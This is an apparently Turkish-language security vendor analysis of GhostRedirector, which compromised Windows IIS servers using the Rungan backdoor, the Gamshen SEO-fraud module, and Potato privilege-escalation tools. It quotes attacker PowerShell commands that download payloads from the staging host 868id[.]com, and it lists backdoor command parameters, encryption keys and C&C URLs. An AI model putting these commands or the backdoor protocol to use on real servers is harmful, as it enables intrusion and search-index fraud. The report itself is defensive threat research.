
GhostRedirector, Windows sunucularını zehirliyor
ESET araştırmacıları, GhostRedirector ismini verdiği, Windows sunucularını hedef alan, pasif C++ arka kapısı ve Google arama sonuçlarını manipüle eden kötü amaçlı bir IIS modülü keşfetti.
ESET araştırmacıları, GhostRedirector adını verdiğimiz ve çoğunlukla Brezilya, Tayland ve Vietnam’da en az 65 Windows sunucusunu tehlikeye atan yeni bir tehdit aktörü tespit etti. GhostRedirector, daha önce belgelenmemiş iki özel araç kullandı: Rungan adını verdiğimiz pasif bir C++ arka kapısı ve Gamshen adını verdiğimiz kötü amaçlı bir İnternet Bilgi Hizmetleri (IIS) modülü.
Rungan, ele geçirilen bir sunucuda komutları yürütme yeteneğine sahipken Gamshen’in amacı SEO dolandırıcılığı hizmeti sunmak, yani arama motoru sonuçlarını manipüle ederek yapılandırılmış bir hedef web sitesinin sayfa sıralamasını yükseltmektir. Gamshen, yalnızca Googlebot’tan gelen isteklerde yanıtı değiştirir, yani kötü amaçlı içerik sunmaz veya web sitelerinin normal ziyaretçilerini etkilemez. Ancak SEO dolandırıcılığına katılmak, güvenliği ihlal edilmiş ana web sitesinin itibarını, onu şüpheli SEO teknikleri ve sıralaması yükseltilmiş web siteleriyle ilişkilendirerek zedeleyebilir.
İlginç bir şekilde, Gamshen yerel bir IIS modülü olarak uygulanmaktadır – IIS (Internet Information Services), Microsoft’un Windows web sunucu yazılımıdır ve iki tür uzantıyı destekleyen modüler bir mimariye sahiptir: Yerel (C++ DLL) ve yönetilen (.NET derlemesi). Bu teknolojiyi kötüye kullanabilen farklı türde kötü amaçlı yazılımlar vardır; 2021 tarihli “Yerel IIS kötü amaçlı yazılımlarının anatomisi” başlıklı teknik raporumuz, yerel IIS tehditlerinin türleri ve mimarileri hakkında derinlemesine bilgi vermektedir. Gamshen, daha önce belgelediğimiz IISerpent’e benzer şekilde, temel amacı SEO dolandırıcılığını kolaylaştırmak olan bir trojan kategorisine girer.
Rungan ve Gamshen’in yanı sıra, GhostRedirector, sunucuda daha yüksek ayrıcalıklara sahip diğer kötü amaçlı bileşenleri indirmek ve yürütmek için kullanılabilecek veya Rungan arka kapısı veya diğer kötü amaçlı araçlar güvenliği ihlal edilmiş sunucudan kaldırıldığında yedek olarak kullanılabilecek ayrıcalıklı bir kullanıcı oluşturmak için bir dizi başka özel araçların yanı sıra, kamuya açık olarak bilinen EfsPotato ve BadPotato istismarlarını da kullanır. Bu saldırıların arkasında Çin ile bağlantılı bir tehdit aktörünün olduğunu söyleyebiliriz. Bu blog yazısında, kurbanlarını ele geçirmek için kullanılan GhostRedirector cephaneliği hakkında bilgi veriyoruz.
Bu blog yazısının ana noktaları:
- Haziran 2025’te en az 65 Windows sunucusunun ele geçirildiğini gözlemledik.
- Kurbanlar çoğunlukla Brezilya, Tayland ve Vietnam’da bulunuyor.
- Kurbanlar belirli bir sektörle değil, sigorta, sağlık, perakende, ulaşım, teknoloji ve eğitim gibi çeşitli sektörlerle ilgilidir.
- GhostRedirector, kurbanın sunucusunda komutları yürütebilen yeni bir C++ arka kapısı olan Rungan’ı geliştirdi.
- GhostRedirector, SEO dolandırıcılığı yapabilen kötü amaçlı bir yerel IIS modülü olan Gamshen’i geliştirmiştir; bu modülün amacının çeşitli kumar sitelerini yapay olarak tanıtmak olduğunu düşünüyoruz.
- GhostRedirector, ele geçirilen sunucularda ayrıcalık yükseltme için BadPotato veya EfsPotato gibi kamuya açık istismar araçlarını kullanıyor.
- Çeşitli faktörlere dayanarak bu saldırıların arkasında daha önce bilinmeyen, Çin ile bağlantılı bir tehdit aktörünün olduğu sonucuna vardık. Bu aktöre GhostRedirector adını verdik.
Atıf
Bu saldırıyı bilinen herhangi bir gruba atfedemedik; bu nedenle, bu blog yazısında belgelenen tüm faaliyetleri bir araya getirmek için GhostRedirector adını verdik. Bu faaliyetler Aralık 2024’te başladı ancak GhostRedirector’ın en az Ağustos 2024’ten beri aktif olduğunu düşündüren diğer ilgili örnekleri de keşfettik.
GhostRedirector’ın pasif C++ arka kapısı Rungan, kötü amaçlı IIS truva atı Gamshen ve çeşitli diğer yardımcı programları içeren bir cephanesi var. Bu araçları şu şekilde bir araya getirdik:
- Aynı zaman diliminde aynı güvenliği ihlal edilmiş sunucuda bulunmaları,
- Ortak bir hazırlık sunucusu ve
- Aşağıda açıklanan çeşitli GhostRedirector araçlarının PDB yollarındaki benzerlikler.
Aşağıdaki faktörlere dayanarak GhostRedirector’ın Çin ile bağlantılı bir tehdit aktörü olduğunu düşünüyoruz:
- GhostRedirector araçlarının birçok örneğinde Çinçe dizeleri sabit kodlanmıştır,
- Saldırıda Çinli bir şirkete verilen bir kod imzalama sertifikası kullanılmış ve
- Güvenliği ihlal edilen sunucuda GhostRedirector tarafından oluşturulan kullanıcıların şifrelerinden birinde Çince’de sarı anlamına gelen huang kelimesi bulunmaktadır.
GhostRedirector, kötü amaçlı IIS modülleri aracılığıyla SEO dolandırıcılığı yapan Çin bağlantılı bir tehdit aktörünün bilinen ilk örneği değildir. Geçen yıl Cisco Talos, SEO dolandırıcılığı yapan DragonRank adlı Çin bağlantılı bir tehdit aktörü hakkında bir blog yazısı yayımladı. Her iki saldırıda da kurbanların coğrafi konumu (Tayland, Hindistan ve Hollanda) ve sektörleri (sağlık, ulaşım ve BT) arasında bazı örtüşmeler bulunmaktadır. Ancak bunların belirli bir grup kuruluşu hedef almak yerine, mümkün olduğunca çok sayıda savunmasız sunucuyu istismar eden fırsatçı saldırılar olması muhtemeldir. Bu benzerliklerin dışında, DragonRank ve GhostRedirector’ın bağlantılı olduğuna inanmamız için herhangi bir neden bulunmadığından bu faaliyetleri ayrı ayrı takip ediyoruz.
VİKTİMoloji
Şekil 1. Kurbanların tespit edildiği ülkeler , iki kaynaktan elde edilen verileri birleştirerek etkilenen ülkelerin ısı haritasını göstermektedir:
- ESET telemetri, burada bu saldırıları Aralık 2024 ile Nisan 2025 arasında tespit ettik, ve
- Saldırının boyutunu daha iyi anlamak için Haziran 2025’te gerçekleştirdiğimiz internet genelindeki tarama, ek kurbanları tespit etmemizi sağladı.
İnternet taramamızla tespit ettiğimiz tüm kurbanları bu güvenlik ihlali konusunda bilgilendirdik.

Toplanan tüm bilgilerle, dünya çapında en az 65 Windows sunucusunun ele geçirildiğini tespit ettik. Etkilenen sunucuların çoğu Brezilya, Peru, Tayland, Vietnam ve ABD’de bulunmaktadır. ABD’de bulunan ele geçirilen sunucuların çoğunun, önceki listede yer alan ülkelerde bulunan şirketlere kiralanmış olduğu görülmektedir. GhostRedirector’ın daha çok Güney Amerika ve Güney Asya’daki kurbanları hedef aldığına inanıyoruz.
Ayrıca aşağıdaki ülkelerde az sayıda vaka gözlemledik:
GhostRedirector belirli bir dikey veya sektörle ilgilenmiyor gibi görünüyor; eğitim, sağlık, sigorta, ulaşım, teknoloji ve perakende gibi çok çeşitli sektörlerde kurbanlar gördük.
İlk erişim
ESET telemetrisine göre, GhostRedirector’ın kurbanlarına ilk erişimi, muhtemelen bir SQL Enjeksiyonu gibi bir güvenlik açığını kullanarak sağladığını düşünüyoruz. Ardından PowerShell’i kullanarak çeşitli kötü amaçlı araçları indiriyor – hepsi aynı hazırlık sunucusu olan 868id[.]com’dan. Bazı durumlarda, saldırganların aynı amaçla farklı bir LOLBin, CertUtil kullandığını gördük.
Bu varsayım, yetkisiz PowerShell yürütmelerinin çoğunun, bir makinede komutları yürütmek için kullanılabilen xp_cmdshell depolanmış prosedürünü barındıran sqlserver.exe ikili dosyasından kaynaklandığına dair gözlemlerimizle desteklenmektedir.
Aşağıda, ele geçirilen sunucularda yürütüldüğünü tespit ettiğimiz komutlara ilişkin örnekler verilmiştir:
- cmd.exe /d /s /c ” powershell curl https://xzs.868id[.]com/EfsNetAutoUser_br.exe -OutFile C:\ProgramData\EfsNetAutoUser_br.exe”
- cmd.exe /d /s /c ” powershell curl http://xz.868id[.]com/EfsPotato_sign.exe -OutFile C:\ProgramData\EfsPotato_sign.exe”
- cmd.exe /d /s /c “powershell curl https://xzs.868id[.]com/link.exe -OutFile C:\ProgramData\link.exe”
- powershell curl https://xzs.868id[.]com/iis/br/ManagedEngine64_v2.dll -OutFile C:\ProgramData\Microsoft\DRM\log\ManagedEngine64.dll
- powershell curl https://xzs.868id[.]com/iis/IISAgentDLL.dll -OutFile C:\ProgramData\Microsoft\DRM\log\miniscreen.dll
Ayrıca GhostRedirector’ın aynı hazırlık sunucusundan indirdikten sonra, ele geçirilen web sunucusuna GoToHTTP’yi yüklediğini de tespit ettik. GoToHTTP, tarayıcıdan erişilebilen bir uzak bağlantı kurmaya olanak tanıyan zararsız bir araçtır.
GhostRedirector, kötü amaçlı yazılımını yüklemek için C:\ProgramData\ dizinini kullandı; özellikle C++ arka kapısı ve IIS truva atı için C:\ProgramData\Microsoft\DRM\log dizinini kullandılar.
Saldırıya genel bakış
Saldırının genel görünümü Şekil 2 adresinde gösterilmektedir. Saldırganlar bir Windows sunucusunu ele geçirir, çeşitli kötü amaçlı araçlar indirir ve çalıştırır: Ayrıcalık yükseltme aracı, birden fazla web kabuğu bırakan kötü amaçlı yazılım, pasif C++ arka kapısı Rungan veya IIS truva atı Gamshen. Ayrıcalık yükseltme araçlarının amacı, Administrators grubunda ayrıcalıklı bir kullanıcı oluşturmaktır. Böylece GhostRedirector bu hesabı ayrıcalıklı işlemleri yürütmek için veya grup ele geçirilen sunucuya erişimini kaybetmesi durumunda yedek olarak kullanabilir.

Pernıcıous Potatoes ayrıcalık yükseltme gerçekleştiriyor
GhostRedirector, cephaneliğinin bir parçası olarak muhtemelen halka açık EfsPotato ve BadPotato istismarlarına dayanan, yerel ayrıcalık yükseltme (LPE) taktiğini kullanan birkaç araç oluşturdu. Analiz edilen örneklerin neredeyse tamamı, birden fazla gizleme katmanı ile .NET Reactor kullanılarak gizlenmişti. Örneklerin bazıları, TrustAsia RSA Code Signing CA G3 tarafından 深圳市迪元素科技有限公司 (Shenzhen Diyuan Technology Co., Ltd.) adına verilen ve BE2AC4A5156DBD9FFA7A9F053F8FA4AF5885BE3C parmak izine sahip bir kod imzalama sertifikası ile geçerli bir şekilde imzalanmıştı.
Bu örneklerin ana amacı, ele geçirilen sunucuda bir kullanıcı hesabı oluşturmak veya değiştirmek ve bunu Administrators grubuna eklemekti.
Analizimiz sırasında, analiz edilen örneklerden bu kötü amaçlı yönetici kullanıcılarının oluşturulmasında kullanılan aşağıdaki kullanıcı adlarını çıkardık.
Şekil 3, bu örneklerin başarılı LPE istismarı sonrasında bir kullanıcı oluşturmak için kullandığı derlenmemiş kodu göstermektedir. Güvenlik amacıyla şifre gizlenmiştir.

Şekil 3 adresinde görüldüğü gibi bu ayrıcalık yükseltme araçları CUserHelper adlı özel bir C# sınıfı kullanır. Bu sınıf, Common.Global.DLL (SHA-1: 049C343A9DAAF3A93756562ED73375082192F5A8) adlı bir DLL’de uygulanmaktadır. Bu DLL’ye Comdai adını verdik ve analiz edilen örneklerde gömülüydü. Comdai’nin, GhostRedirector cephaneliğinin geri kalanıyla aynı geliştiriciler tarafından oluşturulduğuna inanıyoruz. Bu kanı, ilgili PDB yollarındaki ortak desene dayanmaktadır ( Tablo 1 ‘de gösterilen tekrarlanan x5 alt dizesine bakın). Bu desen, Rungan, Gamshen ve ayrıcalık yükseltme araçları arasında ortaktır.
Tablo 1. GhostRedirector araçlarından toplanan PDB dizeleri
Sample SHA1 | Sample type | PDBs |
049C343A9DAAF3A93756 562ED73375082192F5A8 | Comdai library | F:\x5\netTools\oMain\Common.Global \obj\Release\Common.Global.pdb |
28140A5A29EBA098BC62 15DDAC8E56EACBB29B69 | Rungan, C++ backdoor | F:\x5\AvoidRandomKill-main \x64\Release\IISAgentDLL.pdb |
871A4DF66A8BAC3E640B 2D1C0AFC075BB3761954 | Gamshen, IIS trojan | F:\x5\AvoidRandomKill-main \Release\ManagedEngine64.pdb |
371818BDC20669DF3CA4 4BE758200872D583A3B8 | Tool to create a new user | E:\x5\netTools\WinSystem\obj \Release\uedit32_sign.pdb |
Tablo 2, GhostRedirector’ın çeşitli ayrıcalık yükseltme araçları tarafından kullanılan Comdai’de uygulanan önemli sınıfların genel bir özetini ve sınıf davranışlarının açıklamasını içerir. Link.exe adlı bir dosyayı çalıştırma işlevi sağlayan ExeHelper sınıfına dikkat edin. GhostRedirector, GoToHTTP aracını dağıtmak için aynı dosya adını kullanmıştır.
Ayrıca ağ iletişimi, dosya yürütme, dizin listeleme ve hizmetleri ve Windows kayıt defteri anahtarlarını manipüle etme gibi arka kapı benzeri yeteneklere de dikkat edin. Bu yöntemlerin bilinen herhangi bir GhostRedirector bileşeni tarafından kullanıldığını gözlemlememiş olsak da bu durum Comdai’nin saldırının çeşitli aşamalarını destekleyebilen çok yönlü bir araç olduğunu göstermektedir.
Tablo 2. Comdai’de uygulanan sınıflar
C# class | Description |
AES | Encrypts/Decrypts AES in ECB mode. Key: 030201090405060708091011121315 |
CUserHelper | Lists users on a compromised server. Creates a user with specified credentials and adds it into a group name also specified by an argument; by default it uses the Administrators group. |
ExeHelper | Used to execute a binary named link.exe. This name was used by the attackers for the GoToHTTP binary. |
HttpHelper | Can perform through different methods, GET and POST requests, with an unknown purpose, to a hardcoded URL – https://www.cs01[.]shop. |
MsgData | Contains only attributes, used by the class NodejsTX to deserialize a JSON object. |
MyDll | Invokes methods from an unknown DLL named MyDLL.dll. |
NodejsTX | Provides a method to communicate with another malicious component via pipes; the pipe is named salamander_pipe, which can receive parameters to create a specified user who is then added to the administrators group. This user creation is achieved by invoking a method from the CUserHelper class. |
RegeditHelper | Contains a method for reading the value of a specified windows registry key. |
ScanfDirectory | Contains methods for listing the contents of a specified directory. |
ServiceHelper | Contains methods to restart a specified service. |
SystemHelper | Contains methods to execute a binary or execute commands via ProcessStartInfo class. The binary or commands are provided to ProcessStartInfo as arguments. |
UserStruct | Contains only attributes, username – string Groups – list<string> Attributes are used by class CUserHelper for listing users. |
Kuralın bazı istisnaları
Aynı sertifikayı kullanan bir örnek (SHA-1: 21E877AB2430B72E3DB12881D878F78E0989BB7F) keşfettik. Bu örnek, Ağustos 2024’te VirusTotal’e yüklenmiş ve GhostRedirector’ın cephaneliğiyle ilgili olduğunu düşünüyoruz ancak bu kampanyada kullanıldığını görmedik. Bu varsayım, bir metin dosyasını açmaya ve içeriğini sabit kodlanmış bir URL’ye göndermeye çalışan örneğin davranışına dayanmaktadır. Bunun için örnek, gömülü bir Comdai DLL içerir ve https://www.cs01[.]shop sabit kodlanmış URL’ye sahip Comdai C# sınıfı HttpHelper’ı çağırır – bu, Tablo 2 adresinde bahsedilen alan adıyla aynıdır.
Ayrıca daha önce bahsedilen davranıştan biraz farklı olan bazı ayrıcalık yükseltme araçları da keşfettik.
Örneğin, bir durumda (SHA-1: 5A01981D3F31AF47614E51E6C216BED70D921D60), yeni bir kullanıcı oluşturmak yerine, mevcut bir kullanıcı olan Guest’in şifresini kötü amaçlı yazılımda sabit kodlanmış bir şifreyle değiştirir ve ardından RID ele geçirme tekniğini kullanarak bu kullanıcıyı yönetici gruplarına eklemeye çalışır.
Başka bir durumda (SHA-1: 9DD282184DDFA796204C1D90A46CAA117F46C8E1), araç sadece yeni bir yönetici kullanıcısı oluşturmakla kalmaz, aynı zamanda GhostRedirector tarafından araca argüman olarak manuel olarak sağlanan, kurbanın sunucularındaki belirli bir yola birden fazla webshell yükler.
Bu web kabukları, örneğin kaynaklarına açık metin olarak gömülüdür ve isimleri sabit kodlanmıştır; kullandığımız isimler şunlardır:
Zunput; bir web sitesi bilgi toplayıcısı ve webshell damlatıcı
GhostRedirector tarafından kullanılan bir başka ilginç araç ise SitePuts.exe adlı dosyaydı. Zunput adını verdiğimiz bu örnek (SHA-1: EE22BA5453ED577F8664CA390EB311D067E47786), .NET Framework ile geliştirilmiş ve yukarıda bahsedilen sertifika ile imzalanmıştır; IIS yapılandırma sistemini okuyarak yapılandırılmış web sitelerini arar ve bunlar hakkında aşağıdaki bilgileri elde eder:
- Sunucudaki fiziksel yol,
- Her site için aşağıdaki öznitelikler:
Bilgiler toplandıktan sonra, Zunput sunucuda fiziksel yolun varlığını kontrol eder ve ayrıca dizinde en az bir .php, .aspx veya .asp uzantılı dosya bulunduğunu doğrular. Bu şekilde, Zunput yalnızca dinamik içeriği çalıştırabilen aktif web sitelerini hedefler ve yalnızca bu dizinlere gömülü web kabuklarını bırakır. Webshell’ler örneğin kaynaklarına gömülüdür ve her webshell’in tarihleri (oluşturulma, değiştirilme, erişilme) için kötü amaçlı yazılım, dizindeki mevcut bir dosyanın tarihini kullanır.
Webshell’ler ASP, PHP ve JavaScript ile yazılmıştır ve kullanılan adlar aşağıdaki listeden rastgele seçilir:
Web kabukları için kullanılan uzantılar:
Zunput yürütülürken toplanan bilgiler, yürütülmüş olduğu dizinde log.txt adlı bir dosyaya kaydedilir (Şekil 4 adresinde bir örneğe bakın). Bu bilgiler Zunput tarafından otomatik olarak sızdırılmaz ancak saldırganlar tarafından çeşitli yöntemlerle elde edilebilir; bunlardan biri, daha önce bahsedilen dağıtılmış webshell aracılığıyla olabilir.

Son yükler
Rungan, pasif bir C++ arka kapısı
Rungan (SHA-1: 28140A5A29EBA098BC6215DDAC8E56EACBB29B69), C:\ProgramData\Microsoft\DRM\log\miniscreen.dll dosyasına yüklendiğini gördüğümüz pasif bir C/C++ arka kapısıdır.
Bu arka kapı, dize şifre çözme için CBC modunda AES kullanır. 030201090405060708090A0B0C0D0E0F IV ve anahtar için kullanılır ve kötü amaçlı yazılımın PDB yolu F:\x5\AvoidRandomKill-main\x64\Release\IISAgentDLL.pdb temelinde, GhostRedirector’ın AvoidRandomKill deposundaki AES uygulamasını yeniden kullandığını düşünüyoruz.
Bu arka kapının temel işlevi, HTTP Sunucu API’sini kötüye kullanarak IIS’yi atlayarak güvenliği ihlal edilmiş sunucuya düz metin olarak sabitlenmiş bir URL http://+:80/v1.0/8888/sys.html kaydetmektir. Ardından arka kapı, bu URL ile eşleşen bir istek bekler, ardından güvenliği ihlal edilmiş sunucuda alınan komutları ayrıştırır ve yürütür.
Ek URL’ler, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\1033\vbskui.dll adlı isteğe bağlı bir yapılandırma dosyasında ayarlanabilir. Rungan, yapılandırılan desenlerle eşleşen tüm gelen istekleri dinler ve yapılandırma bir arka kapı komutu aracılığıyla güncellenebilir. Arka kapıyı etkinleştirmek için gelen HTTP isteklerinin Rungan’da sabit olarak kodlanmış belirli bir parametre ve değer kombinasyonunu içermesi gerekir.
Bu kontrol karşılandığında, Rungan parametre action kullanarak arka kapı komutunu belirler ve HTTP isteği gövdesindeki verileri komut parametreleri olarak kullanır. C&C protokolünde şifreleme veya kodlama kullanılmaz. En dikkat çekici yetenekler, yeni bir kullanıcı oluşturmak veya kurbanın sunucusunda komutlar yürütmektir; arka kapı komutlarının tam listesi Tablo 3 adresinde gösterilmektedir.
Tablo 3. Rungan arka kapı komutları
Parameter | Body | Description | Response |
mkuser | user=<USERNAME>&pwd= <PASSWORD> &groupname=<GROUPNAME> | Creates the specified user on the compromised server using the NetUserAdd Windows API. | Status code of the operation. |
listfolder | path=<A_PATH> | This looks unfinished: it collects information from selected path but doesn’t exfiltrate it. | N/A |
addurl | url=<URL_1>|<URL_2> | Registers URLs the backdoor will listen on. Can be more than one separated with |. The URL is also added to the configuration file. | If a URL fails to register, the response will be Failed: <URL>, otherwise All Ok. |
cmd | cmdpath=<CMD_PATH> &mingl= <COMMAND_TO_EXECUTE> | Executes a command on the victim’s server using pipes and the CreatePorcessA API. | Command output. |
Şekil 5 ve Şekil 6, simüle edilmiş bir ortamda postman aracını kullanarak dinamik analiz sırasında kötü amaçlı yazılıma yapılan farklı istek örneklerini göstermektedir.


Gamshen, kötü amaçlı IIS modülü
C/C++ DLL olarak geliştirilen Gamshen, kötü amaçlı bir yerel IIS modülüdür. Bu kötü amaçlı yazılımın temel işlevi, Googlebot arama motoru tarayıcısından güvenliği ihlal edilmiş sunucuya yapılan istekleri yakalamak ve yalnızca bu durumda sunucunun meşru yanıtını değiştirmektir. Yanıt, Gamshen’in C&C sunucusundan dinamik olarak istenen verilere göre değiştirilir. Bunu yaparak GhostRedirector, meşru, güvenliği ihlal edilmiş web sitesinden hedef web sitesine yapay geri bağlantılar oluşturmak gibi manipülatif, şüpheli SEO teknikleri kullanarak belirli bir üçüncü taraf web sitesinin Google arama sıralamasını manipüle etmeye çalışır. Daha önce benzer taktikler kullanan bir IIS truva atı vakasını belgelemiştik: bkz. IISerpent: Kötü amaçlı yazılımla yapılan SEO dolandırıcılığı hizmeti.
Etkilenen web sitesini ziyaret eden normal bir kullanıcının herhangi bir değişiklik görmeyeceği ve kötü amaçlı davranıştan etkilenmeyeceği önemle belirtilmelidir çünkü Gamshen normal ziyaretçilerin istekleri üzerine kötü amaçlı faaliyetlerini tetiklemez.
Şekil 7, IIS SEO dolandırıcılık planına katılan kötü amaçlı bir modülün, Google Crawler (diğer adıyla Googlebot) tarafından bir istek yapıldığında güvenliği ihlal edilmiş bir sunucunun meşru yanıtını nasıl değiştirdiğini göstermektedir.

Bunu yapmak için saldırganlar, aşağıdaki IIS olay işleyicileri için kendi kötü amaçlı kodlarını uygulamışlardır:
- OnPreExecuteRequestHandler
- OnPostExecuteRequestHandler
Güvenliği ihlal edilen sunucu bir HTTP isteği aldığında bu istek IIS istek işleme boru hattından geçer ve bu işlem, sürecin çeşitli adımlarında bu işleyicileri tetikler. Özellikle, OnSendResponse işleyicisi, güvenliği ihlal edilen sunucu tarafından HTTP yanıtı gönderilmeden hemen önce tetiklenir. Gamshen, bir IIS modülü olarak yüklendiğinden bu adımlarda gelen her HTTP isteğini otomatik olarak yakalar ve üç eylem gerçekleştirir.
İlk olarak, yalnızca ilgilenilen HTTP isteklerini filtrelemek için bir dizi doğrulama gerçekleştirir:
- İstek, bir Google tarayıcısından gelmelidir: User-Agent başlığı Googlebot dizesini içermeli veya Referer, google.com dizesini içermelidir.
- HTTP yöntemi POST olmamalıdır.
- İstenen kaynak bir görüntü, stil sayfası veya benzer bir statik kaynak değildir, yani aşağıdaki uzantılardan hiçbirine sahip değildir: .jpg, .resx, .png, .jpeg, .bmp, .gif, .ico, .css veya .js. Bu, UI işlevselliğinin bozulmasını önlemek içindir.
- URL, android_ dizesini içermeli veya aşağıdaki düzenli ifadelerden herhangi biriyle eşleşmelidir:
- [/]?(android|plays|articles|details|iosapp|topnews|joga)_([0-9_]{6,20})(/|\\.\\w+)?
- [/]?(android|plays|articles|details|iosapp|topnews|joga)_([a-zA-Z0-9_]{6,8})\\/([a-zA-Z0-9_]{6,20})(/|\\.\\w+)?
- [/]?(android|plays|articles|details|iosapp|topnews|joga)\\/([0-9_]{6,20})(/|\\.\\w+)?
- [/]?(android|plays|articles|details|iosapp|topnews|joga)\\/([a-zA-Z]{8,10})(/|\\.\\w+)?
- [/]?([a-zA-Z0-9]{6,8})\\/([a-zA-Z0-9]{6,8})(/|\\.phtml|\\.xhtml|\\.phtm|\\.shtml)
- [/]?([a-zA-Z0-9_]{14})(/|\\.html|\\.htm)
- [/]?([a-zA-Z0-9]{6})\\/([a-zA-Z0-9]{8})(/|\\.html|\\.htm)
- [/]?([a-z0-9]{6})\\.xhtml
İkinci olarak, Gamshen arama motoru tarayıcısı için tasarlanan yanıtı kendi C&C sunucusu brproxy.868id[.]com’dan elde ettiği verilerle değiştirir. Bu amaçla üç URL’nin kullanıldığını gözlemledik:
- https://brproxy.868id[.]com/index_base64.php?<ORIGINAL_URL>
- https://brproxy.868id[.]com/tz_base64.php?<ORIGINAL_URL>
- https://brproxy.868id[.]com/url/index_base64.php
Tüm durumlarda, aşağıdaki sabit kodlanmış User-Agent dizesi kullanılır: Mozilla/5.0 (uyumlu; Googlebot/2.1; +http://www.google.com/bot.html). Base64 ile kodlanmış bir yanıt beklenir, bu yanıt daha sonra kod çözülür ve arama motoru tarayıcısı için tasarlanan HTTP yanıtına eklenir.
Son olarak, istek işleme boru hattının son adımında, HTTP yanıtı gönderilmeden hemen önce, OnSendResponse olay işleyicisi bu tarayıcı istekleri için yanıtı doğrular. Yanıt 404 HTTP durum koduna sahipse yani Gamshen C&C sunucusundan kötü amaçlı verileri alamamışsa bunun yerine farklı bir C&C sunucusuna yönlendirme gerçekleştirir: http://gobr.868id[.]com/tz.php.
brproxy.868id[.]com veya gobr.868id[.]com adreslerinden yanıt alamadık ancak verilerin, anahtar kelime doldurma, kötü amaçlı geri bağlantılar ekleme gibi şüpheli SEO tekniklerini veya yönlendirme durumunda, arama motorunun güvenliği ihlal edilmiş web sitesini hedef üçüncü taraf web sitesiyle ilişkilendirerek arama dizinini zehirlemeyi desteklediğini düşünüyoruz.
Ancak VirusTotal’de bu alan adlarına odaklanarak ilgili görselleri bulabildik – bu durumda, Portekizce konuşan kullanıcılar için bir kumar uygulamasının reklamını yapan görseller. Bu web sitesinin, bu kötü amaçlı IIS modülü tarafından kolaylaştırılan SEO dolandırıcılık planının yararlanıcısı olduğuna inanıyoruz – Gamshen muhtemelen mümkün olduğunca çok sayıda web sitesini tehlikeye atmaya ve itibarlarını kötüye kullanarak bu üçüncü taraf web sitesine trafik çekmeye çalışıyor.
Şekil 8 ve Şekil 9, GhostRedirector’ın SEO dolandırıcılığı planında potansiyel olarak kullandığı iki görüntüyü göstermektedir.


Sonuç
Bu blog yazısında, daha önce bilinmeyen, Çin ile bağlantılı bir tehdit aktörü olan GhostRedirector ve Windows sunucularını tehlikeye atmak ve kötüye kullanmak için kullandığı araç setini tanıttık. GhostRedirector, tehlikeye atılan sunucularda uzaktan komut yürütmeyi mümkün kılmanın yanı sıra, şüpheli SEO taktikleri ile Google arama sonuçlarını manipüle etmek için tasarlanmış kötü amaçlı bir IIS modülü olan Gamshen’i de kullanır. Gamshen, ele geçirilen sunucuda barındırılan web sitelerinin güvenilirliğini kötüye kullanarak, üçüncü taraf bir kumar web sitesini tanıtıyor. Bu site, muhtemelen bir SEO dolandırıcılığı hizmetine katılan ücretli bir müşteri.
GhostRedirector, ele geçirilen sunucuya birden fazla uzaktan erişim aracı yerleştirerek ve sahte kullanıcı hesapları oluşturarak ele geçirilen altyapıya uzun vadeli erişimi sürdürmek için kalıcılık ve operasyonel dayanıklılık da sergilemektedir.
IoC’ler
Kompromize göstergelerinin (IoC’ler) ve örneklerin kapsamlı bir listesi GitHub deposunda bulunabilir.
Files
SHA-1 | Filename | Detection | Description |
EE22BA5453ED577F8664 CA390EB311D067E47786 | SitePut.exe | MSIL/Agent.FEZ | Zunput, information collector and webshell installer. |
677B3F9D780BE184528D E5967936693584D9769A | EfsNetAutoUser.exe | MSIL/HackTool.Agent.QJ | A custom tool using the EfsPotato exploit to create a new user on the compromised server. |
5D4D7C96A9E302053BDF AF2449F9A2AB3C806E63 | NetAutoUser.exe | MSIL/AddUser.S | A custom tool using the BadPotato exploit to create a new user on the compromised server. |
28140A5A29EBA098BC62 15DDAC8E56EACBB29B69 | miniscreen.dll | Win64/Agent.ELA | Rungan, a passive C++ backdoor. |
371818BDC20669DF3CA4 4BE758200872D583A3B8 | auto.exe | Generik.KJWBIPC | A tool to create a new user on the compromised server. |
9DD282184DDFA796204C 1D90A46CAA117F46C8E1 | auto_sign.exe | MSIL/Agent.XQL | A tool to create a new user or deploy webshells on the compromised server. |
87F354EAA1A6ED5AE51C 4B1A1A801B6CF818DAFC | EfsNetAutoUser.exe | MSIL/HackTool.Agent.QJ | A custom tool using the EfsPotato exploit to create a new user on the compromised server. |
5A01981D3F31AF47614E 51E6C216BED70D921D60 | DotNet4.5.exe | MSIL/AddUser.S | Custom tool using BadPotato exploit to elevate privileges of an existing user. |
6EBD7498FC3B744CED37 1C379BA537077DD97036 | NetAUtoUser_sign.exe | MSIL/AddUser.S | Custom tool using BadPotato exploit to elevated privileges of an existing user. |
0EE926E29874324E52DE 816B74B12069529BB556 | link.exe | Win64/RemoteAdmin.GotoHTTP.A potentially unsafe application | GoToHTTP tool. |
373BD3CED51E19E88876 B80225ECA65A5C01413F | N/A | PHP/Webshell.NWE | Webshell. |
5CFFC4B3B96256A45FB4 5056AE0A9DC76329C25A | N/A | ASP/Webshell.MP | Webshell. |
B017CEE02D74C92B2C65 517101DC72AFA7D18F16 | N/A | PHP/Webshell.OHB | Webshell. |
A8EE056799BFEB709C08 D0E41D9511CED5B1F19D | N/A | ASP/Webshell.UV | Webshell. |
C4681F768622BD613CBF 46B218CDA06F87559825 | N/A | ASP/Webshell.KU | Webshell. |
E69E4E5822A81F68107B 933B7653C487D055C51B | N/A | ASP/Webshell.UZ | Webshell. |
A3A55E4C1373E8287E4E 4D5D3350AC665E1411A7 | N/A | ASP/Webshell.UY | Webshell. |
E6E4634CE5AFDA0688E7 3A2C21A2ECDABD5E155D | N/A | ASP/Webshell.UY | Webshell. |
5DFC2D0858DD7E811CD1 9938B8C28468BE494CB6 | N/A | ASP/Webshell.UX | Webshell. |
08AB5CC8618FA593D2DF 91900067DB464DC72B3E | ManagedEngine32_v2.dll | Win32/BadIIS.AG | Gamshen, a malicious IIS module. |
871A4DF66A8BAC3E640B 2D1C0AFC075BB3761954 | ManagedEngine64_v2.dll | Win64/BadIIS.CY | Gamshen, a malicious IIS module. |
049C343A9DAAF3A93756 562ED73375082192F5A8 | N/A | MSIL/Agent.FFZ | Comdai, a malicious multipurpose DLL used to create a malicious user. |
Network
IP | Domain | Hosting provider | First seen | Details |
N/A | xzs.868id[.]com | N/A | 2024-12-03 | GhostRedirector staging server, hosted on Cloudflare. |
104.233.192[.]1 | xz.868id[.]com | PEG TECH INC | 2024-12-03 | GhostRedirector staging server. |
